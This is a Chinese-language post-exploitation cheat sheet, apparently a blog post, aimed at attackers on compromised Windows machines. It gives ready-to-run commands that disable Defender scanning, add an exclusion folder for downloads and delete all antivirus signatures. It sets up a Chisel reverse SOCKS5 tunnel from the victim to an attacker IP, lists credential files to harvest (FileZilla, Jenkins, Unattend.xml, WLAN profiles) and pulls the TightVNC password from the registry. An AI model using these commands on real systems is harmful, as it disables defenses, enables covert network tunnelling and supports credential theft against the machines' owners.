后渗透2
VSole2021-10-11 06:55:16
禁用Defender
禁用AV/EDR产品在实践中绝不是一个好主意,最好的办法是绕过它。所有这些命令都需要本地管理权限。
# Disable realtime monitoring altogether Set-MpPreference -DisableRealtimeMonitoring $true # Only disables scanning for downloaded files or attachments Set-MpPreference -DisableIOAVProtection $true
添加一个排除目录
Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"
或者你可以让Defender处于启用状态,只是从它那里删除所有病毒签名。
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Chisel代理服务
如果你需要在被攻击的Windows机器上代理流量,Chisel是一个不错的选择。Chisel允许端口转发,但我最喜欢的技术是在目标机器上设置一个反向SOCKS代理,允许你在目标系统上对任何流量进行隧道传输。
在我们的攻击机器上(本例中为Linux),我们以反向SOCKS5模式在80端口启动一个Chisel服务器。
sudo ./chisel server -p 80 --reverse --socks5
在我们被攻击的目标系统上,我们连接到这个服务器,并告诉它通过反向SOCKS5隧道代理所有流量。
.\chisel.exe client 192.168.49.67:80 R:socks
现在在我们的Linux机器的1080端口上打开了一个代理。我们现在可以使用例如ProxyChains来在目标系统上建立隧道。
Juicy files
有很多文件可能包含有趣的信息,像WinPEAS这样的工具或像PowerSploit这样的合集可能有助于识别文件。
下面是我遇到的一些相关文件的清单、根据机器上安装的程序和/或服务来检查文件。
# All user folders ## Limit this command if there are too many files ;) tree /f /a C:\Users # Web.config C:\inetpub\www\*\web.config # Unattend files C:\Windows\Panther\Unattend.xml # RDP config files C:\ProgramData\Configs\ # Powershell scripts/config files C:\Program Files\Windows PowerShell\ # PuTTy config C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty # FileZilla creds C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml # Jenkins creds (also check out the Windows vault, see above) C:\Program Files\Jenkins\credentials.xml # WLAN profiles C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml # TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts) Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password
此外,别忘了用sqlcmd或Invoke-SqlCmd来列举任何本地数据库!

VSole
网络安全专家